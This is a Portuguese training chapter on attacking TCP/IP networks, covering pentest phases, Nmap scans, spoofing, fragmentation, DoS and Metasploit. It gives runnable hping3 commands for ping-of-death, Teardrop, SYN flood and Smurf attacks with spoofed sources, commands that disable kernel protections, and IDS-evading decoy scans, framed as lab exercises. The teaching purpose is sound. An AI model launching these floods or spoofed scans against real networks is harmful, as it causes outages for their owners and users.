
Reinicie a estao de trabalho.

Ao final dessa atividade, teremos a seguinte topologia, que ser utilizada durante todo o curso:

Internet

Topologia A
FWGW1
.1
DHCP
DMZ
172.16.1.0/24
.20

.1
.10

Rede local
10.1.1.0/24
.10

Servidor Linux

Host Windows XP

Captulo 1 - Roteiro de Atividades

Servidor Windows 2008

19

20

Segurana de Redes e Sistemas

2
Compreender o funcionamento dos ataques Denial of Service (DoS), SYN flood,
smurf, varredura, ARP poison, connection hijacking, sequence prediction attack,
buffer overflow e fraggle.

conceitos

Packet Sniffing, ARP Spoofing, IP Spoofing e fragmentao de pacotes IP.

Introduo
Com a popularizao da internet, as redes de computadores passaram a usar o protocolo
TCP/IP em quase sua totalidade. Esse protocolo, apesar de ser um padro de fato, um
protocolo antigo, desenvolvido na dcada de 60. Nessa poca, havia pouca preocupao
com segurana, visto que as redes eram restritas e controladas. Hoje em dia, existem
diversas vulnerabilidades conhecidas nesses protocolos de rede. Abaixo, discutiremos
algumas dessas vulnerabilidades. Porm, para compreend-las, ser necessrio um conhecimento sobre a famlia de protocolos TCP/IP. Caso tenha dvidas ou necessite revisar seu
conhecimento, recomenda-se consultar o material do curso Introduo Segurana de Redes,
oferecido pela Escola Superior de Redes.

Exerccio de nivelamento 1 e
Explorando vulnerabilidades em redes
O que o protocolo TCP/IP?

Como funciona o protocolo TCP/IP?

Penetration Test
Um teste de penetrao consiste em apurar o quanto difcil invadir uma rede de com-

Captulo 2 - Explorando vulnerabilidades em redes

objetivos

Explorando vulnerabilidades
em redes

putadores. Objetivamente falando, um teste de invaso ou Penetration Test uma busca


21

e identificao de vulnerabilidades em uma rede ou sistema computacional. A forma de


elaborao de um teste pode variar, desde determinar um breve panorama de segurana
da infraestrutura de uma empresa, at o que pode-se chamar de inspeo profunda, com o
objetivo de obter informaes especficas sobre um ativo de uma organizao.
Um teste de penetrao pode revelar:

11 Que tipo de informao pode ser obtida fora da organizao, ou seja, sem necessariamente se conectar rede da empresa ou acess-la fisicamente.
11 Como os sistemas reagem a um ataque.
11 Se possvel acessar o sistema com informaes disponveis ou j existentes.
11 Informaes que possam se tornar acessveis em caso de pane no sistema.
Naturalmente, o objetivo de um pentest investigar o sistema do ponto de vista do atacante, identificando exposies de risco antes de se procurar uma soluo.

Testes de penetrao
Existem trs tipos de abordagens para teste de penetrao:

Teste de penetrao zero


Mais conhecido com BlackBox, onde o grupo de teste no tem nenhuma informao real
sobre o alvo e deve comear com a coleta de informaes. Esse tipo de teste foi projetado para oferecer o teste de penetrao mais realstico possvel.
Teste de penetrao parcial
Mais conhecido como Grey Box, onde a organizao alvo fornece equipe de testes
informaes sobre o que provavelmente um atacante motivado pode encontrar. Um
teste de penetrao parcial tambm pode ser escolhido se o objetivo for testar um novo
tipo de ataque ou mesmo ou se a equipe quer focar em um host especfico da empresa.
Para esse tipo de testes necessrio que sejam fornecidos documentos sobre topologia
de rede, poltica de segurana, inventrio de ativos e outras informaes valiosas.
Teste de conhecimento
Tambm conhecido como White Box, em que a equipe detm muita informao sobre
a infraestrutura e sobre os sistemas alvo. Nesse caso, o teste visa simular um atacante
que possui um conhecimento ntimo da organizao alvo.

Tcnicas de ataque
Uma descrio compreensiva de tcnicas de ataque fundamental para evitar danos ou
minimizar a perda de informaes nos sistemas da organizao. Normalmente utilizamos uma
metodologia de penetrao baseadas em fases que vo evoluindo ao longo do processo.

Segurana de Redes e Sistemas

Fase de descoberta
Coleta de informaes na organizao-alvo atravs de servidores de sites e de correio, registros pblicos e bancos de dados (endereos e nomes de registros, DNS, Whois, logs etc.).
Fase de enumerao
Fase onde a equipe de testes tenta exaustivamente obter informaes, como nomes de
usurios, informaes sobre compartilhamentos de rede, informaes sobre aplicativos,
plataformas, infraestrutura onde esto hospedados e verses dos servios em execuo.
Fase de mapeamento de vulnerabilidades
Fase em que a equipe de testes mapeia o perfil do ambiente em busca de vulnerabilidades publicamente conhecidas.
22

Fase de explorao

Fase em que a equipe de testes tentar obter acesso privilegiado a um alvo utilizando ferramentas conhecidas como exploits para a descoberta de vulnerabilidades identificadas.
Os atacantes esto constantemente aperfeioando suas tticas de invaso. Em contrapartida o
administrador de sistemas deve se atualizar constantemente buscando formas para encontrar
brechas em seus sistemas antes que invasores o faam. Um sistema seguro significa encontrar
o equilbrio entre o valor da informao disponvel e a quantia de recursos utilizados para a
proteo dessa informao.
A partir do conhecimento sobre metodologia de penetrao, poderemos passar a ver os
tipos mais comuns de explorao de vulnerabilidades. Esses tipos so baseados quase que
em sua totalidade no protocolo TCP/IP.

Packet Sniffing
Sniffing

O termo Packet Sniffing tem sido ao longo do tempo substitudo por Analisador de proto-

Farejar, em ingls,
consiste em capturar
pacotes em trnsito
numa interface de rede.

colo (protocol analyzer) em razo de o termo sniffer ter conotao de atividade maliciosa.
No entanto, a ao realizada a mesma, ou seja, ler todos os pacotes de dados que esto
trafegando em uma rede especfica. Hoje, com as redes sem fio, a situao semelhante,
com ferramentas que capturam os dados no ar. Lembre-se de que a capacidade de ler os
pacotes vai sempre ser limitada pelo uso de criptografia ou atravs de solues fsicas, como
o uso de um switch, que impede que uma placa de rede veja todo o trfego de uma rede.

Figura 2.1
Interface de um
programa de
captura de pacotes.

Captulo 2 - Explorando vulnerabilidades em redes

Na figura seguinte, vemos a interface de um programa de captura de pacotes.

23

Exerccio de fixao 1 e
Penetration Test
Quais so os tipos de abordagens para teste de penetrao?

Exerccio de fixao 2 e
Packet sniffing
O que e o que faz um analisador de protocolo?

Nmap
O Nmap uma ferramenta de cdigo aberto, utilizada para explorao de rede e auditoria de segurana. Ela foi desenhada para identificar as portas de servio que esto
abertas na mquina-alvo ou em um conjunto de mquinas. O resultado final de sua execuo inclui, dependendo das opes utilizadas, informaes como a verso do sistema
operacional e a verso dos servios em execuo.

Nmap 192.168.1.0/24
macbook-pro-de-ivo-peixinho:~ ivocarv$ Nmap 192.168.1.0/24

Starting Nmap 5.00 ( http://Nmap.org ) at 2010-12-30 17:58 BRT


Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT

STATE SERVICE

23/tcp

open

telnet

80/tcp

open

http

5431/tcp open

park-agent

Segurana de Redes e Sistemas

Interesting ports on 192.168.1.6:

24

Not shown: 991 closed ports


PORT

STATE

SERVICE

88/tcp

open

kerberos-sec

139/tcp

open

netbios-ssn

445/tcp

open

microsoft-ds

631/tcp

open

ipp

999/tcp

filtered garcon

1503/tcp filtered imtc-mcs


5298/tcp open

unknown

6547/tcp filtered powerchuteplus


7937/tcp filtered nsrexecd

Interesting ports on 192.168.1.11:


Not shown: 998 closed ports
PORT

STATE SERVICE

88/tcp

open

548/tcp open

kerberos-sec
afp

Nmap done: 256 IP addresses (3 hosts up) scanned in 21.43 seconds


Nesse exemplo, executamos o Nmap com as opes padro e passamos como parmetro a
rede 192.168.1.0/24, que corresponde classe C 192.168.1.0 (mscara 255.255.255.0). Note
que o Nmap apresenta apenas os endereos IP que esto disponveis, mostrando as portas
abertas em cada servidor. A seguir alguns parmetros interessantes do Nmap:
11 -O realiza uma tentativa de detectar o sistema operacional da mquina analisada.

11 -P0 realiza a varredura da mquina mesmo que ela no responda ao ping, sendo til
em servidores que esto sendo filtrados por firewalls.
11 -v aumenta a quantidade de informao apresentada.
11 -s<tipo> tipo de varredura utilizada. Algumas varreduras procuram evitar que o
sistema destino registre as tentativas de acesso.
O Nmap suporta diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window),
M (Maimon), U (UDP), N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP) e O (IP protocol).

Abaixo alguns exemplos de execuo do Nmap.

Lembre-se de que o pacote Nmap deve estar instalado em mquinas Linux.

Tcnica

Explicao

Exemplo

Varredura TCP SYN

Tipo de varredura mais comumente utilizada, facilmente detectvel. O atacante


envia para o alvo pacote com a flag SYN
setada: se receber SYN/ACK, a porta est
aberta; se receber RST, a porta est fechada.

#Nmap -sS <ip_alvo>

Varredura TCP
Connect

Tipo de varredura padro do Nmap,


tambm facilmente detectvel. O Nmap
procura realizar uma conexo normal
com a mquina-alvo, emitindo no final o
comando connect.

#Nmap sT <ip_alvo>

Captulo 2 - Explorando vulnerabilidades em redes

A execuo do Nmap bem simples, estando ele disponvel para uma srie de plataformas.

25

Segurana de Redes e Sistemas

Tcnica

Explicao

Exemplo

Varredura TCP FIN,


XMAS (rvore de
Natal) e TCP Nula

Essa varredura explora uma falha sutil na


implementao do TCP/IP na mquina-alvo.
Um atacante envia para o alvo pacote com a
flag FIN, sem flag (TCP Null) ou com todas as
flags setadas (XMAS). Se receber RST, a porta
est fechada. Se no receber nada ou um
pacote qualquer, a porta est aberta.

#Nmap -sF <ip_alvo>

Varredura UDP

Embora os servios mais populares na internet


utilizem o protocolo TCP, servios como DNS,
SNMP e DHCP utilizam o protocolo UDP. Essa
varredura permite identificar servios UDP em
execuo na mquina. Seu modo de funcionamento bastante simples: o atacante envia
para o alvo um pacote UDP. Se receber a mensagem ICMP Port Unreachable, a porta est
fechada. Se no receber nada ou um pacote
qualquer, a porta est aberta.

#Nmap -sU ip_alvo

Varredura TCP ACK


(detecta as portas
que esto sendo
filtradas por um
firewall)

Essa varredura diferente das anteriores,


pois nunca determina se uma porta est
aberta. Seu objetivo mapear o conjunto
de regras de um firewall, determinando se
essas regras so orientadas conexo ou
no e quais portas esto sendo filtradas. O
atacante envia para o alvo um pacote com as
flags ACK. Se receber RST, a porta no est
sendo filtrada. Se receber a mensagem ICMP
Unreachable, a porta est sendo filtrada.

#Nmap -sA ip_alvo

Varredura TCP/
Windows (detecta
as portas que esto
sendo filtradas por
um firewall)

Tem o mesmo objetivo da varredura TCP


ACK, exceto que explora o detalhe de implementao TCP/IP realizada por certos sistemas operacionais. O atacante envia para o
alvo um pacote com as flags ACK. Ao receber
o pacote com a flag RST, o Nmap avaliar
o tamanho da janela TCP. Se esse valor for
positivo, a porta est aberta. Se esse valor
for igual a zero, a porta est fechada.

#Nmap -sW ip_alvo

Varreduras Decoy

Realiza varreduras em um alvo utilizando


endereos falsos. O objetivo esconder o
verdadeiro alvo de sistemas de deteco de
intrusos (IDS).

# Nmap -s S -D 101.102.103.104,

Varredura utilizando o ataque FTP


Boune

Explora uma falha na implementao do protocolo FTP, que permite ao atacante, a partir
do comando PORT, utilizar o servidor FTP para
escanear outras mquinas na rede do alvo.

# Nmap b

Varreduras
temporizadas

Alguns mecanismos de IDS utilizam o tempo


de envio de pacotes para determinar se um
servidor est sendo escaneado. Para evitar
a deteco, pode-se manipular o tempo de
envio de pacotes utilizando o parmetro T,
sendo o nmero 0 para Paranoid e at 5
para Insane. Abaixo a relao dos tempos
para cada temporizador:

# Nmap sS <ip_alvor> -T 1

11Paranoid: 5 minutos de delay

11Sneaky: 15 segundos de delay

11Polite (educada): 0.4 dcimos de segunds


de delay
11Normal (default)

11Aggressive (agressiva): .min2o segundos


por host
11Insane: 0.3 dcimos de segunds

26

#Nmap -sX <ip_alvo>


#Nmap -sN <ip_alvo>

1.1.1.1, 2.2.2.2, 3.3.3.3 ip_alvo

anonymous:senha@172.16.1.20:21
172.16.1.1

Tcnica

Explicao

Exemplo

Varredura furtiva

Possibilita a um invasor fazer uma varredura forjando a origem, com o objetivo de


desviar a ateno ou simplesmente irritar
o administrador.

# Nmap -sF ip_alvo -S 1.1.1.111

Varredura OS
FingerPrint

Tem como objetivo identificar a verso do


sistema operacional da mquina-alvo, a
partir do comportamento e das respostas
do protocolo TCP/IP.

#Nmap -O ip_alvo

Varredura para
levantamento de
servios no alvo

Varredura para identificar a verso dos servios que esto em execuo na mquina-alvo.

# Nmap -sV ip_alvo

n e eth0

Exerccio de fixao 3 e
Nmap
No Nmap, para que utilizada a tcnica de Varredura TCP/Windows?

Hping
A ferramenta Hping um gerador e analisador de pacotes TCP/IP muito utilizado para

atividades de auditoria, testes de firewall e redes, sendo bastante til para administradores e hackers. Possui suporte para os protocolos ICMP, UDP e TCP e permite a modificao de qualquer informao, tanto do payload quanto do cabealho do pacote.
Principais funcionalidades:
11 Teste de firewall.
11 Port scanning avanado.
11 Teste de rede, usando diferentes protocolos e fragmentao.
11 Descoberta manual de MTU.
11 Traceroute avanado, usando outros protocolos.

11 Auditoria da pilha TCP/IP.


No ltimo tpico deste captulo, a ferramenta Hping ser utilizada para demonstrar alguns
tipos de ataques.

ARP Spoofing
Ataques de ARP Spoofing so relativamente antigos, mas quando empregados produzem

resultados de impacto. O conceito do ataque visa enviar um pacote ARP falso para uma
MAC
Media Access Control
um protocolo de acesso
ao meio fsico em uma
interface de rede.
Endereos fsicos de
interfaces de rede so
comumente chamados
de endereos MAC.

rede local, direcionando o trfego do destino correto para um sistema malicioso.


O protocolo ARP traduz endereos fsicos (MAC) para endereos IP. Lembre-se de que os
endereos MAC so singulares, isso , o fabricante da interface de rede associa unicamente
um endereo MAC a uma interface especfica. Dessa forma, a apropriao da identidade de
outro sistema far com que todo o trfego na rede seja desviado para o sistema invasor.

Captulo 2 - Explorando vulnerabilidades em redes

11 OS Fingerprinting.

Outro resultado possvel de ataques de ARP Spoofing a negao de servio contra o


sistema-alvo, pois o trfego no chegar ao sistema de destino.
27

IP: 10.0.0.1

IP: 10.0.0.7

MAC: [bb:bb:bb:bb:bb:bb]

MAC: [aa:aa:aa:aa:aa:aa]

Switch

AR
10 P C
a
.0
.0 ch
e
.1
pa mo
ra
d
M ic
AC ad
:[ oa
cc
:c pon
c:
cc ta
I
:c
c: P
cc
:c
c]

IP cc]
ta cc:
on c:
ap cc:c
do :cc:
c
ca
i : [c
od C
m MA
e
ch ara
Ca 7 p
P
.
AR .0.0
10

Atacante
IP: 10.0.0.3

Figura 2.2
Ataque ARP
Spoofing.

MAC: [cc:cc:cc:cc:cc:cc]

IP Spoofing
Essa tcnica de ataque tem como objetivo alterar um campo do cabealho IP, para que

os pacotes sejam enviados como se partissem de uma origem diferente. O campo do


pacote alterado o do endereo de origem, um campo de 32 bits que indica o endereo
IP de onde partiu o pacote. O cabealho IP possui um tamanho fixo de 20 octetos ou
160 bits, alm de uma poro opcional, raramente utilizada.

Atacante
Endereo: 1.1.1.1

IP

IP

Segurana de Redes e Sistemas

TCP

28

TCP

Internet

De: 3.3.3.3

De: 3.3.3.3

Para: 2.2.2.2

Para: 2.2.2.2
Vtima
Endereo: 2.2.2.2

Host convel
Endereo: 3.3.3.3

De: 2.2.2.2
Para: 3.3.3.3

Figura 2.3
IP Spoofing.

Fragmentao de pacotes IP
Uma caracterstica do TCP/IP bastante utilizada em ataques a fragmentao de

pacotes. Seja para dificultar a deteco de ataques ou para realizar a negao de servios, essa caracterstica faz parte do arsenal de tcnicas de ataque. A fragmentao de
pacotes est relacionada Maximum Transfer Unit (MTU), parmetro que especifica a
quantidade mxima de dados que pode passar em um nico pacote por um meio fsico
da rede. Caso um pacote tenha tamanho superior ao suportado pelo meio fsico da rede,
fragmentado (dividido).
FDDI
Fiber Distributed Data
Interface a tecnologia
de transmisso de
dados em redes.

Por exemplo, a rede Ethernet limita a transferncia a 1500 octetos de dados, enquanto o FDDI
permite 4470 octetos de dados por pacote. Com isso, um pacote que parta de uma rede FDDI
(com 4470 octetos) e passe por uma rede Ethernet (com 1500 octetos) dividido em quatro
fragmentos com 1500 octetos cada um, que o tamanho suportado pela rede Ethernet.
Os fragmentos resultantes trafegam pela rede e, quando chegam ao seu destino final, so
reagrupados, com base em offsets ou deslocamentos, reconstituindo, assim, o pacote original.
Todo esse processo de fragmentao e reagrupamento realizado de modo automtico e
transparente para o usurio, de acordo com as regras do protocolo IP.
Roteador 1

Roteador 2

Rede 1

Rede 2

Rede 3

MTU = 1500 bytes

MTU = 620 bytes

MTU = 1500 bytes

1500 bytes

600 bytes

1500 bytes

600 bytes
30 bytes

A possibilidade de ataques que exploram a fragmentao de pacotes IP est relacionada


ao modo como so implementados a fragmentao e o reagrupamento. Tipicamente, os
sistemas no tentam processar o pacote, at que todos os fragmentos sejam recebidos e
reagrupados. Isso cria a possibilidade de ocorrer um estouro (overflow) na pilha TCP
quando h o reagrupamento de pacotes cujo tamanho total seja maior que o espao que
foi reservado, ou seja, pacotes maiores podem ser criados para forar o estouro da pilha.
O resultado disso so problemas como o travamento do sistema, caracterizando ataques
do tipo Denial of Service, que comprometem a disponibilidade de recursos. Outro ataque
consiste em gerar pacotes com o offset de fragmentao negativo, que pode causar
resultados inesperados caso a pilha TCP/IP do sistema de destino no realize uma
verificao antes de tentar reagrupar os pacotes.
A fragmentao de pacotes foi explorada em ataques, inicialmente, no fim de 1996 pelo Ping
da Morte. O ataque consistia no envio de pacotes ICMP Echo Request (ping) com tamanho
de 65535 bytes. Esse tamanho, maior do que o normal, fazia com que diversos sistemas travassem por causa da sobrecarga do buffer da pilha TCP/IP, que no era capaz de reagrupar
um pacote to grande. O ping foi empregado inicialmente devido sua facilidade de uso,

Captulo 2 - Explorando vulnerabilidades em redes

Figura 2.4
Fragmentao
de pacotes IP.

embora outros pacotes IP grandes, sejam eles TCP (conhecido como ataque Teardrop)
29

ou UDP, possam causar esse mesmo tipo de problema. O problema existiu, na realidade,
devido a erros de implementao da pilha TCP/IP em sistemas operacionais e em equipamentos de redes. Por isso, atualmente, os sistemas j corrigiram esse problema por meio
de atualizaes e instalaes de correes (patches). Porm, a fragmentao e o reagrupamento podem ser utilizados para ataques mais sofisticados, com o intuito de driblar
firewalls ou sistemas de deteco de intruso (IDS). Isso acontece porque a fragmentao
e o reagrupamento ocorrem somente entre as pontas, o que faz com que o firewall, o
roteador ou o IDS que no suportem fragmentao, no detectem ataques cujos dados
estejam em pacotes diferentes, j que so elementos localizados entre dois hosts que se
comunicam. A fragmentao utilizada, por exemplo, como um mtodo de varredura como
o usado pelo Nmap, que envia pacotes fragmentados em alguns casos, de modo que sua
deteco pelo firewall ou pelo IDS torna-se mais difcil.

Ataques de negao de servio


Os ataques de negao de servio ou DoS (Denial of Service) possuem como objetivo afetar

a disponibilidade dos recursos, impedindo que as informaes sejam acessadas por usurios legtimos. Diversas tcnicas, em diferentes nveis da pilha TCP/IP, podem ser usadas
para esse fim. De uma forma geral, ataques DoS fazem com que recursos sejam explorados de maneira agressiva, o que estressa o recurso, impedindo-o de realizar suas tarefas
bsicas. Consequentemente, usurios legtimos ficam impossibilitados de utiliz-los.
Uma tcnica tpica de ataque DoS o SYN flooding, que, com uma enxurrada de pacotes de
requisio de conexo (SYN), causa o estouro (overflow) da pilha de memria, que passa a
no aceitar novas requisies.
Outra tcnica o envio de pacotes especficos causando a interrupo do servio, que pode
ser exemplificada pelo Smurf. Os ataques DoS vo alm da pilha de protocolos TCP/IP, como
o caso de estouro de memria em aplicaes (e da interrupo do servio), muitas vezes
causado por falhas na programao desses aplicativos. As tcnicas mais avanadas de DoS
so coordenadas e distribudas, onde os ataques partem no de um equipamento, mas de
vrios, que tambm acabam se tornando vtimas. Essa tcnica conhecida como Distributed
Denial of Service (DDoS).

Ataques de SYN flood


Um ataque SYN flood consiste em uma alterao no protocolo padro de estabelecimento

de comunicao no protocolo TCP, conhecido como three way handshake.


Em uma comunicao TCP normal, so trocadas as seguintes mensagens para estabelecimento
de uma sesso:
1. O cliente envia uma requisio de conexo: pacote com a opo SYN habilitada e com
Segurana de Redes e Sistemas

o nmero de sequncia x.
2. O servidor recebe o pacote SYN e responde com uma mensagem de reconhecimento, que

consiste em um pacote com as opes SYN e ACK habilitadas (SYN-ACK) e com nmeros
de sequncia x+1 e y. O servidor, ento, adiciona 1 ao nmero de sequncia recebido pelo
cliente (x). Esse foi o mtodo estabelecido para identificar uma determinada requisio.
3. O cliente reconhece o pacote SYN-ACK (pacote ACK com y + 1). O cliente adiciona 1 ao

nmero de sequncia y recebido pelo servidor.


4. A conexo estabelecida.
5. A troca de dados acontece.

30

6. A conexo encerrada com um pacote com flag FIN.


7. A conexo encerrada de forma anormal com um pacote RST.

Um ataque de flooding, ou enxurrada de pacotes, consiste em uma tcnica para desestabilizar


e derrubar recursos computacionais, e pode acontecer em vrios nveis do TCP/IP. SYN
Flooding um ataque de negao de servio que explora o mecanismo de estabelecimento de
conexes TCP, baseado em handshake em trs vias (three-way handshake). O ataque consiste
no envio de um grande nmero de requisies de conexo (pacotes SYN) para a vtima, de tal
maneira que ela se torne incapaz de responder a todas as requisies. Com um grande
nmero de requisies SYN simultneas, a quantidade de conexes mximas atingida e a
vtima fica incapacitada de atender a conexes legtimas, at que a memria seja liberada.
Caso o ataque seja realizado de forma continuada, este pode tornar um servio indisponvel.
SYN (IP de origem falsicado)
SYN (IP de origem falsicado)
Figura 2.5
Ataque de flooding.

SYN (IP de origem falsicado)

Vtima

Atacante

Ataque Smurf
Smurf outro ataque de negao de servio, no qual um grande trfego de pacotes ping

(ICMP echo) enviado para o endereo IP de broadcast da rede, tendo como origem o
Em ingls, falsificao,
disfarce; se refere aos
ataques onde informaes no cabealho
dos protocolos so
falsificadas.

endereo IP da vtima (IP Spoofing).


Com o broadcast, cada host da rede recebe a requisio de ICMP echo, passando todos
eles a responderem para o endereo de origem, que falsificado, pois o comportamento
padro quando um pacote tem por destino o endereo de broadcast da rede. A rede utilizada tambm afetada, pois todos os seus hosts respondem requisio ICMP, passando
a atuar como um amplificador. Alm disso, a vtima, que teve o seu endereo IP falsificado, recebe os pacotes de todos esses hosts, ficando impedida de executar suas funes
normais, sofrendo assim um ataque de negao de servio. As vtimas do ataque, assim, so
a rede e o host que teve o seu endereo IP falsificado.

Captulo 2 - Explorando vulnerabilidades em redes

Spoofing

31

Ataque Smurf

Atacante envia pacote com endereo IP falsicado

Respostas ICMP encaminhadas para a vtima

Figura 2.6
Ataque Smurf.

Varredura
Apesar de no ser necessariamente uma vulnerabilidade, a varredura (scanning) uma
tcnica muito usada por atacantes para verificar quais endereos IP de uma determinada
rede esto associados a servidores e quais portas esto abertas (TCP e UDP) nesses servidores. A varredura consiste em tentar conexo em um conjunto de endereos IP e portas,
verificando quais retornam algum tipo de resposta.
Zenmap
O Zenmap a interface grfica oficial (Frontend) do j conhecido programa Nmap Security
Scanner, possuindo verses para plataformas como Windows, Linux, MacOS, BSD, entre
outras. Com essa ferramenta, a tarefa de levantamento de informaes do protocolo TCP/IP
se torna mais fcil e produtiva, principalmente por revelar aos iniciantes opes avanadas

Segurana de Redes e Sistemas

de explorao de portas oferecidas pelo Nmap.

32

w
Existem ferramentas
especficas para fazer
varredura, sendo a
mais famosa a
ferramenta livre Nmap.

Figura 2.7
Tcnica da varredura Zenmap.

Com o Zenmap podemos:


11 Salvar comandos de varreduras frequentemente utilizadas.
11 Utilizar o Command Wizard para criar interativamente comandos de varredura.
11 Salvar resultados de varreduras para visualizao posterior.
11 Comparar varreduras salvas e verificar suas diferenas.
11 Criar topologias de rede com a ferramenta Topology Mapping Tool.
Alm dessas opes, o Zenmap disponibiliza todas as varreduras em uma base de dados
totalmente pesquisvel.

Essa ferramenta prov uma viso interativa e animada das conexes entre computadores.
Combinada com a opo traceroute do Nmap pode descobrir o caminho dos hosts dentro
de uma rede de computadores.

Captulo 2 - Explorando vulnerabilidades em redes

Topology Mapping Tool

33

Exerccio de fixao 3 e
IP Spoofing
Explique o que um IP Spoofing?

Exerccio de fixao 4 e
DoS
Explique o que um ataque de negao de servio?

Alguns tipos de ataques


Fragmentao de pacotes (ping da morte)
Para realizar a fragmentao de pacotes ou ping da morte, o atacante enviar um pacote
maior que o PDU da rede, sobrecarregando o host de destino quando ele tentar remontar a
informao.

Segurana de Redes e Sistemas

Para realizar o ataque, execute:

34

# hping3 -V -c 100 -d 65495 --icmptype 8 <ip_alvo>


Onde:
-V = modo monitor.
-c = quantidade de pacotes enviados.
-d = quantidade de bytes de dados, maior que 1480 para ativar a fragmentao.
--icmptype 8 = mensagem ICMP Echo Request.

Figura 2.8
Zenmap Topology
Mapping Tool.

Ou5

# ping i -l 65500 <ip_alvor> -t


Onde:
-i = indica que cada ping deve ser realizado em um intervalo de um milsimo de segundo.
-l = define o tamanho do pacote.
-t = envia os pacotes por tempo indeterminado.

Fragmentao de pacotes (Teardrop)


Ataque de negao de servio que tambm explora o princpio da fragmentao do pacote
IP. O ataque Teardrop consiste em modificar o nmero de sequncia que identifica a ordem
correta de remontagem do pacote, de forma a inserir espaos vazios, podendo provocar
instabilidade no sistema-alvo.
Para realizar o ataque, execute:

# hping3 V c 100 d 65500 S p 80 s 4657 a <ip_spofado> <ip_alvo>


O comando acima ativa o modo monitor (-V), que permite monitorar as respostas. Sero
enviados 100 pacotes (-c) com tamanho de 65500 (-d) bytes de dados (deve ser maior que
1480 para ativar a fragmentao). A opo -S informa para enviar o pacote com a flag SYN
configurada para a porta 80 (-p) e porta de origem 4657 (-s). A opo a trocar o endereo
de origem do pacote, permitindo a realizao do spoof.

Simulando um ataque de Synflood


Esse ataque consiste em enviar uma enxurrada de pacotes com a flag SYN ativa, utilizando a
ferramenta hping3. Para isso, ser necessrio desativar a proteo contra SYN Flooding do
kernel do Linux. Essa opo vem habilitada por padro na distribuio Debian. Para desabilitar a proteo, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/tcp_syncookies


Nota: como o exemplo a seguir realiza o ataque a um servidor web, antes de executar o
comando verifique a disponibilidade do servidor http que ser atacado. Execute tcpdump
ou Wireshark para verificar os pacotes de ataque que esto sendo enviados. Para executar o

# tcpdump -i INTERFACE host IP_DO_ALVO -n


Por fim, voc deve digitar o seguinte comando para iniciar o ataque:

# hping3 IP_DO_ALVO -p 80 -S --faster --rand-source


O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do servio
web (-p 80), enviando um pacote a cada microssegundo (--faster) e alterando o endereo de
origem aleatoriamente (--rand-source).
Enquanto o ataque est em andamento, tentar acessar o servio web da mquina-alvo
atravs de um navegador. Voc no deve conseguir acessar o servio, pois a mquina est
sobrecarregada tratando as diversas requisies enviadas pelo hping.
Para finalizar a execuo do hping e do tcpdump, basta digitar CTRL+C.

Captulo 2 - Explorando vulnerabilidades em redes

tcpdump, utilize o comando:

35

Simulando um ataque Smurf


Nesse ataque ser utilizado o comando hping para enviar pacotes ICMP Echo Request para
o endereo de broadcast da rede. Assim, todas as mquinas respondero para o endereo
de origem especificado no pacote que deve estar alterado para o endereo-alvo (Spoofing).
Para que o ataque seja efetivo, a proteo contra ICMP Echo Request para endereo de
broadcast deve estar desabilitada em todas as mquinas do laboratrio. Para desativar essa
proteo nas mquinas Linux, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts


Aps liberar a resposta para ICMP Echo Request para o endereo de broadcast da rede,
inicie tcpdump ou Wireshark em um terminal separado, para verificar o andamento do
ataque com o comando:

# tcpdump -i INTERFACE host IP_DO_ALVO -n


Digite o seguinte comando para iniciar o ataque:

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO


O comando acima vai enviar pacotes ICMP Echo Request para o endereo de broadcast da
rede do laboratrio, no modo mais rpido possvel (um pacote a cada 1 microssegundo),
com endereo de origem alterado para IP_ALVO (Spoofing). Os alunos devem verificar no
tcpdump os pacotes de ICMP Echo Reply que esto sendo enviados para o alvo do ataque.
O tamanho do pacote ICMP Echo Request enviado ainda pode ser aumentado para fortalecer o ataque. Assim, a banda do alvo ser rapidamente consumida pelos pacotes de ICMP
Echo Reply.

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO -d 1000


Neste tpico foram abordados alguns ataques conhecidos em redes TCP/IP. Existe ainda
uma srie de outros ataques conhecidos, como: ARP poison, connection hijacking, sequence
prediction attack, buffer overflow, fraggle e race condition, entre outros. Os documentos a
seguir fornecem mais informaes caso tenha interesse em se aprofundar no assunto:
11 Tcnicas adotadas pelos crackers para entrar em redes corporativas, de Cristiano
Gerlach, Rede Nacional de Ensino e Pesquisa (RNP).
11 Introduction to TCP/IP Network Attacks (Introduo aos ataques a redes TCP) de Guang
Yang, Department of Computer Science, Iowa State University.
11 Attack Lab: Attacks on TCP/IP Protocols (Laboratrio de ataques: ataques a protocolos
TCP/IP) de Wenliang Du, Syracuse University.

Segurana de Redes e Sistemas

Exploit
Exploit significa literalmente explorar, sendo uma palavra usada para se referir a pequenos
cdigos de programas para explorar falhas de segurana causadas por erros de programao.
Um exploit uma ferramenta de segurana com o objetivo de explorar uma vulnerabilidade
de um sistema. H alguns anos atrs, para que um usurio pudesse testar um sistema ou
rede, ele necessitaria escrever um cdigo especfico para isso. Hoje, exploits so diariamente criados e divulgados pela comunidade hacker. Embora agressores ainda criem novos
ataques e os usem em segredo, a nova tendncia de crescimento no compartilhamento
de informaes sobre vulnerabilidades e seus respectivos exploits, o que pode ser, dependendo do ponto de vista, bom e ruim.
36

w
O site www.powertech.
no/smurf lista algumas
redes que aceitam
ICMP Echo Request
para o endereo de
broadcast e podem ser
utilizadas como
amplificadores para
ataques Smurf. No site
tambm possvel
verificar se a sua rede
est vulnervel a esse
tipo de ataque.

Metasploit
O Metasploit um framework especfico para testes de penetrao. uma ferramenta
bastante utilizada, visto que possui diversos plugins para explorao de vulnerabilidades de
forma simples, que so atualizados constantemente.
Criado em 2003 pelo desenvolvedor HD Moore, o metasploit foi concebido em forma de um
framework para comunidade de segurana com o objetivo de desenvolvimento de exploit.
Basicamente, um framework uma estrutura de apoio que funciona como uma abstrao
entre vrios projetos de software para funes genricas. Tipicamente inclui programas de
apoio, bibliotecas e uma linguagem de script, entre outros softwares para ajudar a desenvolver
e unir diferentes componentes de um projeto.
O Metasploit pode ser utilizado de trs formas distintas:

11 No modo console, atravs do comando msfconsole.


11 No modo web, atravs do comando msfweb. Nesse modo criado um servidor web na
porta 55555, que pode ser acessado com um browser comum, atravs do endereo
http://127.0.0.1:55555.
11 No modo grfico, atravs do comando msfgui.

Exerccio de fixao 5 e
Alguns tipos de ataque
Explique o que vem a ser um exploit.

